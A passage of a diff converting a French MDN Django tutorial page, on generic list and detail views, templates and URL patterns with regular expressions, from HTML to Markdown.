seront appelées lors de requêtes HTTP.</p> +En Django, on accède à la fonction appropriée d'une vue basée sur classe en appelant sa méthode de classe `as_view()`. Cela a pour effet de créer une instance de la classe, et de s'assurer que les bonnes méthodes seront appelées lors de requêtes HTTP. -<h3 id="Vue_basée_sur_classe">Vue (basée sur classe)</h3> +### Vue (basée sur classe) -<p>Nous pourrions assez aisément écrire la vue "liste de livres" comme une fonction ordinaire (comme notre précédente vue "index"), qui interrogerait la base de données pour tous les livres, et qui ensuite appellerait <code>render()</code> pour passer la liste à un template spécifique. À la place, cependant, nous allons utiliser une vue "liste" générique, basée sur une classe (<code>ListView</code>), une classe qui hérite d'une vue existante. Parce que la vue générique implémente déjà la plupart des fonctionnalités dont nous avons besoin et suit les meilleures pratiques Django, nous pourrons créer une vue "liste" plus robuste avec moins de code, moins de répétition, et au final moins de maintenance.</p> +Nous pourrions assez aisément écrire la vue "liste de livres" comme une fonction ordinaire (comme notre précédente vue "index"), qui interrogerait la base de données pour tous les livres, et qui ensuite appellerait `render()` pour passer la liste à un template spécifique. À la place, cependant, nous allons utiliser une vue "liste" générique, basée sur une classe (`ListView`), une classe qui hérite d'une vue existante. Parce que la vue générique implémente déjà la plupart des fonctionnalités dont nous avons besoin et suit les meilleures pratiques Django, nous pourrons créer une vue "liste" plus robuste avec moins de code, moins de répétition, et au final moins de maintenance. -<p>Ouvrez le fichier <strong>catalog/views.py</strong>, et copiez-y le code suivant à la fin :</p> +Ouvrez le fichier **catalog/views.py**, et copiez-y le code suivant à la fin : -<pre class="brush: python">from django.views import generic +```python +from django.views import generic class BookListView(generic.ListView): - model = Book</pre> + model = Book +``` -<p>C'est tout ! La vue générique va adresser une requête à la base de données pour obtenir tous les enregistrements du modèle spécifié (<code>Book</code>), et ensuite rendre un template situé à l'adresse <strong>/locallibrary/catalog/templates/catalog/book_list.html</strong> (que nous allons créer ci-dessous). À l'intérieur du template vous pouvez accéder à la liste de livres grâce à la variable de template appelée <code>object_list</code> OU <code>book_list</code> (c'est-à-dire l'appellation générique "<code><em>the_model_name</em>_list</code>").</p> +C'est tout ! La vue générique va adresser une requête à la base de données pour obtenir tous les enregistrements du modèle spécifié (`Book`), et ensuite rendre un template situé à l'adresse **/locallibrary/catalog/templates/catalog/book_list.html** (que nous allons créer ci-dessous). À l'intérieur du template vous pouvez accéder à la liste de livres grâce à la variable de template appelée `object_list` OU `book_list` (c'est-à-dire l'appellation générique "`the_model_name_list`"). -<div class="note"> -<p><strong>Note :</strong> Ce chemin étrange vers le lieu du template n'est pas une faute de frappe : les vues génériques cherchent les templates dans <code>/<em>application_name</em>/<em>the_model_name</em>_list.html</code> (<code>catalog/book_list.html</code> dans ce cas) à l'intérieur du répertoire <code>/<em>application_name</em>/templates/</code> (<code>/catalog/templates/</code>).</p> -</div> +> **Note :** Ce chemin étrange vers le lieu du template n'est pas une faute de frappe : les vues génériques cherchent les templates dans `/application_name/the_model_name_list.html` (`catalog/book_list.html` dans ce cas) à l'intérieur du répertoire `/application_name/templates/` (`/catalog/templates/`). -<p>Vous pouvez ajouter des attributs pour changer le comportement par défaut utilisé ci-dessus. Par exemple, vous pouvez spécifier un autre fichier de template si vous souhaitez avoir plusieurs vues qui utilisent ce même modèle, ou bien vous pourriez vouloir utiliser un autre nom de variable de template, si book_list n'est pas intuitif par rapport à l'usage que vous faites de vos templates. Probablement, le changement le plus utile est de changer/filtrer le sous-ensemble des résultats retournés : au lieu de lister tous les livres, vous pourriez lister les 5 premiers livres lus par d'autres utilisateurs.</p> +Vous pouvez ajouter des attributs pour changer le comportement par défaut utilisé ci-dessus. Par exemple, vous pouvez spécifier un autre fichier de template si vous souhaitez avoir plusieurs vues qui utilisent ce même modèle, ou bien vous pourriez vouloir utiliser un autre nom de variable de template, si book_list n'est pas intuitif par rapport à l'usage que vous faites de vos templates. Probablement, le changement le plus utile est de changer/filtrer le sous-ensemble des résultats retournés : au lieu de lister tous les livres, vous pourriez lister les 5 premiers livres lus par d'autres utilisateurs. -<pre class="brush: python">class BookListView(generic.ListView): +```python +class BookListView(generic.ListView): model = Book context_object_name = 'my_book_list' # your own name for the list as a template variable queryset = Book.objects.filter(title__icontains='war')[:5] # Get 5 books containing the title war - template_name = 'books/my_arbitrary_template_name_list.html' # Specify your own template name/location</pre> + template_name = 'books/my_arbitrary_template_name_list.html' # Specify your own template name/location +``` -<h4 id="Ré-écrire_des_méthodes_dans_des_vues_basées_sur_classes">Ré-écrire des méthodes dans des vues basées sur classes</h4> +#### Ré-écrire des méthodes dans des vues basées sur classes -<p>Bien que nous n'ayons pas besoin de le faire ici, sachez qu'il vous est possible de ré-écrire des méthodes de classe.</p> +Bien que nous n'ayons pas besoin de le faire ici, sachez qu'il vous est possible de ré-écrire des méthodes de classe. -<p>Par exemple, nous pouvons ré-écrire la méthode <code>get_queryset()</code> pour changer la liste des enregistrements retournés. Cette façon de faire est plus flexible que simplement définir l'attribut <code>queryset</code>, comme nous l'avons fait dans le précédent fragment de code (bien qu'il n'y ait pas vraiment d'intérêt dans ce cas) :</p> +Par exemple, nous pouvons ré-écrire la méthode `get_queryset()` pour changer la liste des enregistrements retournés. Cette façon de faire est plus flexible que simplement définir l'attribut `queryset`, comme nous l'avons fait dans le précédent fragment de code (bien qu'il n'y ait pas vraiment d'intérêt dans ce cas) : -<pre class="brush: python">class BookListView(generic.ListView): +```python +class BookListView(generic.ListView): model = Book def get_queryset(self): return Book.objects.filter(title__icontains='war')[:5] # Get 5 books containing the title war -</pre> +``` -<p>Nous pourrions aussi réécrire <code>get_context_data()</code>, afin d'envoyer au template des variables de contexte supplémentaires (par défaut c'est la liste de livres qui est envoyée). Le bout de code ci-dessous montre comment ajouter une variable appelée "<code>some_data</code>" au contexte (elle sera alors accessible comme variable de template).</p> +Nous pourrions aussi réécrire `get_context_data()`, afin d'envoyer au template des variables de contexte supplémentaires (par défaut c'est la liste de livres qui est envoyée). Le bout de code ci-dessous montre comment ajouter une variable appelée "`some_data`" au contexte (elle sera alors accessible comme variable de template). -<pre class="brush: python">class BookListView(generic.ListView): +```python +class BookListView(generic.ListView): model = Book def get_context_data(self, **kwargs): @@ -111,525 +120,500 @@ class BookListView(generic.ListView): context = super(BookListView, self).get_context_data(**kwargs) # Create any data and add it to the context context['some_data'] = 'This is just some data' - return context</pre> + return context +``` -<p>Quand vous faites cela, il est important de suivre la procédure indiquée ci-dessus :</p> +Quand vous faites cela, il est important de suivre la procédure indiquée ci-dessus : -<ul> - <li>D'abord récupérer auprès de la superclasse le contexte existant.</li> - <li>Ensuite ajouter la nouvelle information de contexte.</li> - <li>Enfin retourner le nouveau contexte (mis à jour).</li> -</ul> +- D'abord récupérer auprès de la superclasse le contexte existant. +- Ensuite ajouter la nouvelle information de contexte. +- Enfin retourner le nouveau contexte (mis à jour). -<div class="note"> -<p><strong>Note :</strong> Voyez dans <a href="https://docs.djangoproject.com/en/2.1/topics/class-based-views/generic-display/">Built-in class-based generic views</a> (doc de Django) pour avoir beaucoup plus d'exemples de ce que vous pouvez faire.</p> -</div> +> **Note :** Voyez dans [Built-in class-based generic views](https://docs.djangoproject.com/en/2.1/topics/class-based-views/generic-display/) (doc de Django) pour avoir beaucoup plus d'exemples de ce que vous pouvez faire. -<h3 id="Créer_le_template_pour_la_Vue_Liste">Créer le template pour la Vue Liste</h3> +### Créer le template pour la Vue Liste -<p>Créez le fichier HTML <strong>/locallibrary/catalog/templates/catalog/book_list.html</strong>, et copiez-y le texte ci-dessous. Comme nous l'avons dit ci-dessus, c'est ce fichier que va chercher par défaut la classe générique "liste" basée sur une vue (dans le cas d'un modèle appelé <code>Book</code>, dans une application appelée <code>catalog</code>).</p> +Créez le fichier HTML **/locallibrary/catalog/templates/catalog/book_list.html**, et copiez-y le texte ci-dessous. Comme nous l'avons dit ci-dessus, c'est ce fichier que va chercher par défaut la classe générique "liste" basée sur une vue (dans le cas d'un modèle appelé `Book`, dans une application appelée `catalog`). -<p>Les templates pour vues génériques sont exactement comme les autres templates (cependant, bien sûr, le contexte et les informations envoyées au templates peuvent être différents). Comme pour notre template <em>index</em>, nous étendons notre template de base à la première ligne, et remplaçons ensuite le bloc appelé <code>content</code>.</p> +Les templates pour vues génériques sont exactement comme les autres templates (cependant, bien sûr, le contexte et les informations envoyées au templates peuvent être différents). Comme pour notre template _index_, nous étendons notre template de base à la première ligne, et remplaçons ensuite le bloc appelé `content`. -<pre class="brush: html">{% extends "base_generic.html" %} +```html +{% extends "base_generic.html" %} {% block content %} - <h1>Book List</h1> - <strong>{% if book_list %}</strong> - <ul> + <h1>Book List</h1> + {% if book_list %} + <ul> {% for book in book_list %} - <li> - <a href="\{{ book.get_absolute_url }}">\{{ book.title }}</a> (\{{book.author}}) - </li> + <li> + <a href="\{{ book.get_absolute_url }}">\{{ book.title }}</a> (\{{book.author}}) + </li> {% endfor %} - </ul> - <strong>{% else %}</strong> - <p>There are no books in the library.</p> - <strong>{% endif %} </strong> -{% endblock %}</pre> + </ul> + {% else %} + <p>There are no books in the library.</p> + {% endif %} +{% endblock %} +``` -<p>La vue envoie le contexte (liste de livres), en utilisant par défaut les alias <code>object_list</code> et <code>book_list</code> ; l'un et l'autre fonctionnent.</p> +La vue envoie le contexte (liste de livres), en utilisant par défaut les alias `object_list` et `book_list` ; l'un et l'autre fonctionnent. -<h4 id="Exécution_conditionnelle">Exécution conditionnelle</h4> +#### Exécution conditionnelle -<p>Nous utilisons les balises de templates <code><a href="https://docs.djangoproject.com/en/2.1/ref/templates/builtins/#if">if</a></code>, <code>else</code>, et <code>endif</code> pour vérifier que la <code>book_list</code> a été définie et n'est pas vide. Si <code>book_list</code> est vide, alors la condition <code>else</code> affiche un texte expliquant qu'il n'y a pas de livres à lister. Si <code>book_list</code> n'est pas vide, nous parcourons la liste de livres.</p> +Nous utilisons les balises de templates [`if`](https://docs.djangoproject.com/en/2.1/ref/templates/builtins/#if), `else`, et `endif` pour vérifier que la `book_list` a été définie et n'est pas vide. Si `book_list` est vide, alors la condition `else` affiche un texte expliquant qu'il n'y a pas de livres à lister. Si `book_list` n'est pas vide, nous parcourons la liste de livres. -<pre class="brush: html"><strong>{% if book_list %}</strong> - <!-- code here to list the books --> -<strong>{% else %}</strong> - <p>There are no books in the library.</p> -<strong>{% endif %}</strong> -</pre> +```html +{% if book_list %} + <!-- code here to list the books --> +{% else %} + <p>There are no books in the library.</p> +{% endif %} +``` -<p>La condition ci-dessus ne vérifie qu'un seul cas, mais vous pouvez ajouter d'autres tests grâce à la balise de template <code>elif</code> (par exemple <code>{% elif var2 %}</code>). Pour plus d'information sur les opérateurs conditionnels, voyez ici : <a href="https://docs.djangoproject.com/en/2.1/ref/templates/builtins/#if">if</a>, <a href="https://docs.djangoproject.com/en/2.1/ref/templates/builtins/#ifequal-and-ifnotequal">ifequal/ifnotequal</a>, et <a href="https://docs.djangoproject.com/en/2.1/ref/templates/builtins/#ifchanged">ifchanged</a> dans <a href="https://docs.djangoproject.com/en/2.1/ref/templates/builtins">Built-in template tags and filters</a> (Django Docs).</p> +La condition ci-dessus ne vérifie qu'un seul cas, mais vous pouvez ajouter d'autres tests grâce à la balise de template `elif` (par exemple `{% elif var2 %}`). Pour plus d'information sur les opérateurs conditionnels, voyez ici : [if](https://docs.djangoproject.com/en/2.1/ref/templates/builtins/#if), [ifequal/ifnotequal](https://docs.djangoproject.com/en/2.1/ref/templates/builtins/#ifequal-and-ifnotequal), et [ifchanged](https://docs.djangoproject.com/en/2.1/ref/templates/builtins/#ifchanged) dans [Built-in template tags and filters](https://docs.djangoproject.com/en/2.1/ref/templates/builtins) (Django Docs). -<h4 id="Boucles_for">Boucles for</h4> +#### Boucles for -<p>Le template utilise les balises de template <a href="https://docs.djangoproject.com/en/2.1/ref/templates/builtins/#for">for</a> et <code>endfor</code> pour boucler à travers la liste de livres, comme montré ci-dessous. Chaque itération peuple la variable de template <code>book</code> avec l'information concernant l'élément courant de la liste.</p> +Le template utilise les balises de template [for](https://docs.djangoproject.com/en/2.1/ref/templates/builtins/#for) et `endfor` pour boucler à travers la liste de livres, comme montré ci-dessous. Chaque itération peuple la variable de template `book` avec l'information concernant l'élément courant de la liste. -<pre class="brush: html">{% for <strong>book</strong> in book_list %} - <li> <!-- code here get information from each <strong>book</strong> item --> </li> +```html +{% for book in book_list %} + <li> <!-- code here get information from each book item --> </li> {% endfor %} -</pre> +``` -<p>Bien que nous ne l'utilisions pas ici, Django, à l'intérieur de la boucle, va aussi créer d'autres variables que vous pouvez utiliser pour suivre l'itération. Par exemple, vous pouvez tester la variable <code>forloop.last</code> pour réaliser une action conditionnelle au dernier passage de la boucle.</p> +Bien que nous ne l'utilisions pas ici, Django, à l'intérieur de la boucle, va aussi créer d'autres variables que vous pouvez utiliser pour suivre l'itération. Par exemple, vous pouvez tester la variable `forloop.last` pour réaliser une action conditionnelle au dernier passage de la boucle. -<h4 id="Accéder_aux_variables">Accéder aux variables</h4> +#### Accéder aux variables -<p>Le code à l'intérieur de la boucle crée un élément de liste pour chaque livre, élément qui montre à la fois le titre (comme lien vers la vue détail, encore à créer), et l'auteur.</p> +Le code à l'intérieur de la boucle crée un élément de liste pour chaque livre, élément qui montre à la fois le titre (comme lien vers la vue détail, encore à créer), et l'auteur. -<pre class="brush: html"><a href="\{{ book.get_absolute_url }}">\{{ book.title }}</a> (\{{book.author}}) -</pre> +```html +<a href="\{{ book.get_absolute_url }}">\{{ book.title }}</a> (\{{book.author}}) +``` -<p>Nous accédont aux <em>champs</em> de l'enregistrement "livre" associé, en utilisant la notation "à points" (par exemple <code>book.title</code> et <code>book.author</code>), où le texte suivant l'item <code>book</code> est le nom du champ (comme défini dans le modèle).</p> +Nous accédont aux _champs_ de l'enregistrement "livre" associé, en utilisant la notation "à points" (par exemple `book.title` et `book.author`), où le texte suivant l'item `book` est le nom du champ (comme défini dans le modèle). -<p>Nous pouvons aussi appeler des <em>fonctions</em> contenues dans le modèle depuis l'intérieur de notre template — dans ce cas nous appelons <code>Book.get_absolute_url()</code> pour obtenir une URL que vous pouvez utiliser pour afficher dans la vue détail l'enregistrement associé. Cela fonctionne, pourvu que la fonction ne comporte pas d'arguments (il n'y a aucun moyen de passer des arguments !).</p> +Nous pouvons aussi appeler des _fonctions_ contenues dans le modèle depuis l'intérieur de notre template — dans ce cas nous appelons `Book.get_absolute_url()` pour obtenir une URL que vous pouvez utiliser pour afficher dans la vue détail l'enregistrement associé. Cela fonctionne, pourvu que la fonction ne comporte pas d'arguments (il n'y a aucun moyen de passer des arguments !). -<div class="note"> -<p><strong>Note :</strong> Il nous faut être quelque peu attentif aux "effets de bord" quand nous appelons des fonctions dans nos templates. Ici nous récupérons simplement une URL à afficher, mais une fonction peut faire à peu près n'importe quoi — nous ne voudrions pas effacer notre base de données (par exemple) juste parce que nous avons affiché notre template !</p> -</div> +> **Note :** Il nous faut être quelque peu attentif aux "effets de bord" quand nous appelons des fonctions dans nos templates. Ici nous récupérons simplement une URL à afficher, mais une fonction peut faire à peu près n'importe quoi — nous ne voudrions pas effacer notre base de données (par exemple) juste parce que nous avons affiché notre template ! -<h4 id="Mettre_à_jour_le_template_de_base">Mettre à jour le template de base</h4> +#### Mettre à jour le template de base -<p>Ouvrez le template de base (<strong>/locallibrary/catalog/templates/<em>base_generic.html</em></strong>) et insérez <strong>{% url 'books' %}</strong> dans le lien URL pour <strong>All books</strong>, comme indiqué ci-dessous. Cela va afficher le lien dans toutes les pages (nous pouvons mettre en place ce lien avec succès, maintenant que nous avons créé le mappage d'URL "books").</p> +Ouvrez le template de base (**/locallibrary/catalog/templates/_base_generic.html_**) et insérez **{% url 'books' %}** dans le lien URL pour **All books**, comme indiqué ci-dessous. Cela va afficher le lien dans toutes les pages (nous pouvons mettre en place ce lien avec succès, maintenant que nous avons créé le mappage d'URL "books"). -<pre class="brush: python"><li><a href="{% url 'index' %}">Home</a></li> -<strong><li><a href="{% url 'books' %}">All books</a></li></strong> -<li><a href="">All authors</a></li></pre> +```python +<li><a href="{% url 'index' %}">Home</a></li> +<li><a href="{% url 'books' %}">All books</a></li> +<li><a href="">All authors</a></li> +``` -<h3 id="À_quoi_cela_ressemble-t-il">À quoi cela ressemble-t-il ?</h3> +### À quoi cela ressemble-t-il ? -<p>Vous ne pouvez pas encore construire la liste des livres, car il nous manque toujours une dépendance, à savoir le mappage d'URL pour la page de détail de chaque livre, qui est requise pour créer des hyperliens vers chaque livre. Nous allons montrer les vues liste et détail après la prochaine section.</p> +Vous ne pouvez pas encore construire la liste des livres, car il nous manque toujours une dépendance, à savoir le mappage d'URL pour la page de détail de chaque livre, qui est requise pour créer des hyperliens vers chaque livre. Nous allons montrer les vues liste et détail après la prochaine section. -<h2 id="Page_de_détail_dun_livre">Page de détail d'un livre</h2> +## Page de détail d'un livre -<p>La page de détail d'un livre va afficher les informations sur un livre précis, auquel on accède en utilisant l'URL <code>catalog/book/<em><id></em></code> (où <code><em><id></em></code> est la clé primaire pour le livre). En plus des champs définis dans le modèle <code>Book</code> (auteur, résumé, ISBN, langue et genre), nous allons aussi lister les détails des copies disponibles (<code>BookInstances</code>), incluant le statut, la date de retour prévue, la marque d'éditeur et l'id. Cela permettra à nos lecteurs, non seulement de s'informer sur le livre, mais aussi de confirmer si et quand il sera disponible.</p> +La page de détail d'un livre va afficher les informations sur un livre précis, auquel on accède en utilisant l'URL `catalog/book/<id>` (où `<id>` est la clé primaire pour le livre). En plus des champs définis dans le modèle `Book` (auteur, résumé, ISBN, langue et genre), nous allons aussi lister les détails des copies disponibles (`BookInstances`), incluant le statut, la date de retour prévue, la marque d'éditeur et l'id. Cela permettra à nos lecteurs, non seulement de s'informer sur le livre, mais aussi de confirmer si et quand il sera disponible. -<h3 id="Mappage_dURL_2">Mappage d'URL</h3> +### Mappage d'URL -<p>Ouvrez <strong>/catalog/urls.py</strong> et ajoutez-y le mappeur d'URL '<strong>book-detail</strong>' indiqué en gras ci-dessous. Cette fonction <code>path()</code> définit un pattern, la vue générique basée sur classe qui lui est associée, ainsi qu'un nom.</p> +Ouvrez **/catalog/urls.py** et ajoutez-y le mappeur d'URL '**book-detail**' indiqué en gras ci-dessous. Cette fonction `path()` définit un pattern, la vue générique basée sur classe qui lui est associée, ainsi qu'un nom. -<pre class="brush: python">urlpatterns = [ +```python +urlpatterns = [ path('', views.index, name='index'), path('books/', views.BookListView.as_view(), name='books'), -<strong> path('book/<int:pk>', views.BookDetailView.as_view(), name='book-detail'),</strong> -]</pre> + path('book/<int:pk>', views.BookDetailView.as_view(), name='book-detail'), +] +``` -<p>Pour le chemin <em>book-detail</em>, le pattern d'URL utilise une syntaxe spéciale pour capturer l'id exact du livre que nous voulons voir. La syntaxe est très simple : les chevrons ('<' et '>') définissent la partie de l'URL qui doit être capturée et encadrent le nom de la variable que la vue pourra utiliser pour accéder aux données capturées. Par exemple, <strong><something></strong> va capturer le pattern marqué et passer la valeur à la vue en tant que variable "something". De manière optionnelle, vous pouvez faire précéder le nom de variable d'une <a href="https://docs.djangoproject.com/en/2.1/topics/http/urls/#path-converters">spécification de convertisseur</a>, qui définit le type de la donnée (int, str, slug, uuid, path).</p> +Pour le chemin *book-detail*, le pattern d'URL utilise une syntaxe spéciale pour capturer l'id exact du livre que nous voulons voir. La syntaxe est très simple : les chevrons ('<' et '>') définissent la partie de l'URL qui doit être capturée et encadrent le nom de la variable que la vue pourra utiliser pour accéder aux données capturées. Par exemple, **\<something>** va capturer le pattern marqué et passer la valeur à la vue en tant que variable "something". De manière optionnelle, vous pouvez faire précéder le nom de variable d'une [spécification de convertisseur](https://docs.djangoproject.com/en/2.1/topics/http/urls/#path-converters), qui définit le type de la donnée (int, str, slug, uuid, path). -<p>Dans ce cas, nous utilisons <code>'<int:pk>'</code> pour capturer l'id du livre, qui doit être une chaîne formatée d'une certaine manière, et passer cet id à la vue en tant que paramètre nommé <code>pk</code> (abbréviation pour primary key - clé primaire). C'est l'id qui doit être utilisé pour stocker le livre de manière unique dans la base de données, comme défini dans le modèle Book.</p> +Dans ce cas, nous utilisons `'<int:pk>'` pour capturer l'id du livre, qui doit être une chaîne formatée d'une certaine manière, et passer cet id à la vue en tant que paramètre nommé `pk` (abbréviation pour primary key - clé primaire). C'est l'id qui doit être utilisé pour stocker le livre de manière unique dans la base de données, comme défini dans le modèle Book. -<div class="note"> -<p><strong>Note :</strong> Comme nous l'avons dit précédemment, notre URL correcte est en réalité <code>catalog/book/<digits></code> (comme nous sommes dans l'application <strong>catalog</strong>, <code>/catalog/</code> est supposé).</p> -</div> +> **Note :** Comme nous l'avons dit précédemment, notre URL correcte est en réalité `catalog/book/<digits>` (comme nous sommes dans l'application **catalog**, `/catalog/` est supposé). -<div class="warning"> -<p><strong>Attention :</strong> La vue générique basée sur classe "détail" <em>s'attend</em> à recevoir un paramètre appelé <strong>pk</strong>. Si vous écrivez votre propre fonction, vous pouvez utiliser le nom que vous voulez pour votre paramètre, ou même passer l'information avec un argument non nommé.</p> -</div> +> **Attention :** La vue générique basée sur classe "détail" _s'attend_ à recevoir un paramètre appelé **pk**. Si vous écrivez votre propre fonction, vous pouvez utiliser le nom que vous voulez pour votre paramètre, ou même passer l'information avec un argument non nommé. -<h4 id="Introduction_aux_chemins_et_expressions_régulières_avancés">Introduction aux chemins et expressions régulières avancés</h4> +#### Introduction aux chemins et expressions régulières avancés -<div class="note"> -<p><strong>Note :</strong> Vous n'aurez pas besoin de cette section pour achever le tutoriel ! Nous en parlons parce que nous savons que cette option vous sera probablement utile dans votre avenir centré sur Django.</p> -</div> +> **Note :** Vous n'aurez pas besoin de cette section pour achever le tutoriel ! Nous en parlons parce que nous savons que cette option vous sera probablement utile dans votre avenir centré sur Django. -<p>La recherche de pattern fournie par <code>path()</code> est simple et utile pour les cas (très communs) où vous voulez seulement capturer <em>n'importe quelle</em> chaîne ou entier. Si vous avez besoin d'un filtre plus affiné (par exemple pour filtrer seulement les chaînes qui ont un certain nombre de caractères), alors vous pouvez utiliser la méthode <a href="https://docs.djangoproject.com/en/2.1/ref/urls/#django.urls.re_path">re_path()</a>.</p> +La recherche de pattern fournie par `path()` est simple et utile pour les cas (très communs) où vous voulez seulement capturer _n'importe quelle_ chaîne ou entier. Si vous avez besoin d'un filtre plus affiné (par exemple pour filtrer seulement les chaînes qui ont un certain nombre de caractères), alors vous pouvez utiliser la méthode [re_path()](https://docs.djangoproject.com/en/2.1/ref/urls/#django.urls.re_path). -<p>Cette méthode est utilisée exactement comme <code>path()</code>, sauf qu'elle vous permet de spécifier un pattern utilisant une <a href="https://docs.python.org/3/library/re.html">Expression régulière</a>. Par exemple, le chemin précédent pourrait avoir été écrit ainsi :</p> +Cette méthode est utilisée exactement comme `path()`, sauf qu'elle vous permet de spécifier un pattern utilisant une [Expression régulière](https://docs.python.org/3/library/re.html). Par exemple, le chemin précédent pourrait avoir été écrit ainsi : -<pre class="brush: python"><strong>re_path(r'^book/(?P<pk>\d+)$', views.BookDetailView.as_view(), name='book-detail'),</strong> -</pre> +```python +re_path(r'^book/(?P<pk>\d+)$', views.BookDetailView.as_view(), name='book-detail'), +``` -<p>Les <em>expressions régulières</em> sont un outil de recherche de pattern extrêmement puissant. Ils sont, il est vrai, assez peu intuitifs et peuvent se révéler intimidants pour les débutants. Ci-dessous vous trouverez une introduction très courte !</p> +Les _expressions régulières_ sont un outil de recherche de pattern extrêmement puissant. Ils sont, il est vrai, assez peu intuitifs et peuvent se révéler intimidants pour les débutants. Ci-dessous vous trouverez une introduction très courte ! -<p>La première chose à savoir est que les expressions régulières devraient ordinairement être déclarées en utilisant la syntaxe "chaîne littérale brute" (c'est-à-dire encadrées ainsi : <strong>r'<votre texte d'expression régulière va ici>'</strong>).</p> +La première chose à savoir est que les expressions régulières devraient ordinairement être déclarées en utilisant la syntaxe "chaîne littérale brute" (c'est-à-dire encadrées ainsi : **r'\<votre texte d'expression régulière va ici>'**). -<p>L'essentiel de ce que vous aurez besoin de savoir pour déclarer une recherche de pattern est contenu dans le tableau qui suit :</p> +L'essentiel de ce que vous aurez besoin de savoir pour déclarer une recherche de pattern est contenu dans le tableau qui suit : -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Symbol</th> - <th scope="col">Meaning</th> - </tr> - </thead> - <tbody> - <tr> - <td>^</td> - <td>Recherche le début du texte.</td> - </tr> - <tr> - <td>$</td> - <td>Recherche la fin du texte.</td> - </tr> - <tr> - <td>\d</td> - <td>Recherche un digit (0, 1, 2, ... 9).</td> - </tr> - <tr> - <td>\w</td> - <td>Recherche un caractère de mot, c'est-à-dire tout caractère dans l'alphabet (majuscule ou minuscule), un digit ou un underscore (_).</td> - </tr> - <tr> - <td>+</td> - <td>Recherche au moins une occurence du caractère précédent. Par exemple, pour rechercher au moins 1 digit, vous utiliseriez <code>\d+</code>. Pour rechercher au moins 1 caractère "a", vous utiliseriez <code>a+</code>.</td> - </tr> - <tr> - <td>*</td> - <td>Recherche zéro ou plus occurrence(s) du caractère précédent. Par exemple, pour rechercher "rien ou un mot", vous pourriez utiliser <code>\w*</code>.</td> - </tr> - <tr> - <td>( )</td> - <td>Capture la partie du pattern contenue dans les parenthèses. Toutes les valeurs capturées seront passées à la vue en tant que paramètres non nommés (si plusieurs patterns sont capturés, les paramètres associés seront fournis dans l'ordre de déclaration des captures).</td> - </tr> - <tr> - <td>(?P<<em>name</em>>...)</td> - <td>Capture le pattern (indiqué par …) en tant que variable nommée (dans ce cas "name"). Les valeurs capturées sont passées à la vue avec le nom spécifié. Votre vue doit par conséquent déclarer un argument avec le même nom !</td> - </tr> - <tr> - <td>[ ]</td> - <td>Recherche l'un des caractères contenus dans cet ensemble. Par exemple, [abc] va rechercher "a" ou "b" ou "c". [-\w] va rechercher le caractère "-" ou tout caractère de mot.</td> - </tr> - </tbody> -</table> +| Symbol | Meaning | +| --------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| ^ | Recherche le début du texte. | +| $ | Recherche la fin du texte. | +| \d | Recherche un digit (0, 1, 2, ... 9). | +| \w | Recherche un caractère de mot, c'est-à-dire tout caractère dans l'alphabet (majuscule ou minuscule), un digit ou un underscore (\_). | +| + | Recherche au moins une occurence du caractère précédent. Par exemple, pour rechercher au moins 1 digit, vous utiliseriez `\d+`. Pour rechercher au moins 1 caractère "a", vous utiliseriez `a+`. | +| \* | Recherche zéro ou plus occurrence(s) du caractère précédent. Par exemple, pour rechercher "rien ou un mot", vous pourriez utiliser `\w*`. | +| ( ) | Capture la partie du pattern contenue dans les parenthèses. Toutes les valeurs capturées seront passées à la vue en tant que paramètres non nommés (si plusieurs patterns sont capturés, les paramètres associés seront fournis dans l'ordre de déclaration des captures). | +| (?P<_name_>...) | Capture le pattern (indiqué par …) en tant que variable nommée (dans ce cas "name"). Les valeurs capturées sont passées à la vue avec le nom spécifié. Votre vue doit par conséquent déclarer un argument avec le même nom ! | +| [ ] | Recherche l'un des caractères contenus dans cet ensemble. Par exemple, [abc] va rechercher "a" ou "b" ou "c". [-\w] va rechercher le caractère "-" ou tout caractère de mot. | -<p>La plupart des autres caractères peuvent être pris littéralement.</p> +La plupart des autres caractères peuvent être pris littéralement. -<p>Considérons quelques exemples réels de patterns :</p> +Considérons quelques exemples réels de patterns : <table class="standard-table"> - <thead> - <tr> - <th scope="col">Pattern</th> - <th scope="col">Description</th> - </tr> - </thead> - <tbody> - <tr> - <td><strong>r'^book/(?P<pk>\d+)$'</strong></td> - <td> - <p>C'est là l'expression régulière utilisée dans notre mappeur d'URL. Elle recherche une chaîne qui a <code>book/</code> au commencement de la ligne (<strong>^book/</strong>), ensuite a au moins 1 digit (<code>\d+</code>), et enfin se termine (avec aucun caractère non-digit avant la fin du marqueur de ligne).</p> - - <p>Elle capture aussi tous les digits <strong>(?P<pk>\d+)</strong> et les passe à la vue dans un paramètre appelé 'pk'. <strong>Les valeurs capturées sont toujours passées comme des chaînes !</strong></p> - - <p>Par exemple, cette expression régulière trouverait une correspondance dans l'URL <code>book/1234</code>, et enverrait alors une variable <code>pk='1234'</code> à la vue.</p> - </td> - </tr> - <tr> - <td><strong>r'^book/(\d+)$'</strong></td> - <td> - <p>Ceci rechercher la même URL que dans le cas précédent. L'information capturée serait envoyée à la vue en tant qu'argument non nommé.</p> - </td> - </tr> - <tr> - <td><strong>r'^book/(?P<stub>[-\w]+)$'</strong></td> - <td> - <p>Ceci recherche une chaîne qui a <code>book/</code> au commencement de la ligne (<strong>^book/</strong>), ensuite a au moins 1 caractère étant <em>soit</em> un '-', <em>soit</em> un caractère de mot (<strong>[-\w]+</strong>), puis la fin. Ce pattern capture aussi cet ensemble de caractères et le passe à la vue en tant que paramètre nommé 'stub'.</p> - - <p>Ceci est un pattern relativement typique pour un "stub". Les stubs sont des clés primaires basées sur des mots (plus agréables que des IDs) pour retrouver des données. Vous pouvez utiliser un stub si vous voulez que votre URL de livre contienne plus d'informations. Par exemple <code>/catalog/book/the-secret-garden</code>, plutôt que <code>/catalog/book/33</code>.</p> - </td> - </tr> - </tbody> + <thead> + <tr> + <th scope="col">Pattern</th> + <th scope="col">Description</th> + </tr> + </thead> + <tbody> + <tr> + <td><strong>r'^book/(?P<pk>\d+)$'</strong></td> + <td> + <p> + C'est là l'expression régulière utilisée dans notre mappeur d'URL. + Elle recherche une chaîne qui a <code>book/</code> au commencement de + la ligne (<strong>^book/</strong>), ensuite a au moins 1 digit + (<code>\d+</code>), et enfin se termine (avec aucun caractère + non-digit avant la fin du marqueur de ligne). + </p> + <p> + Elle capture aussi tous les digits <strong>(?P<pk>\d+)</strong> + et les passe à la vue dans un paramètre appelé 'pk'. + <strong + >Les valeurs capturées sont toujours passées comme des chaînes + !</strong + > + </p> + <p> + Par exemple, 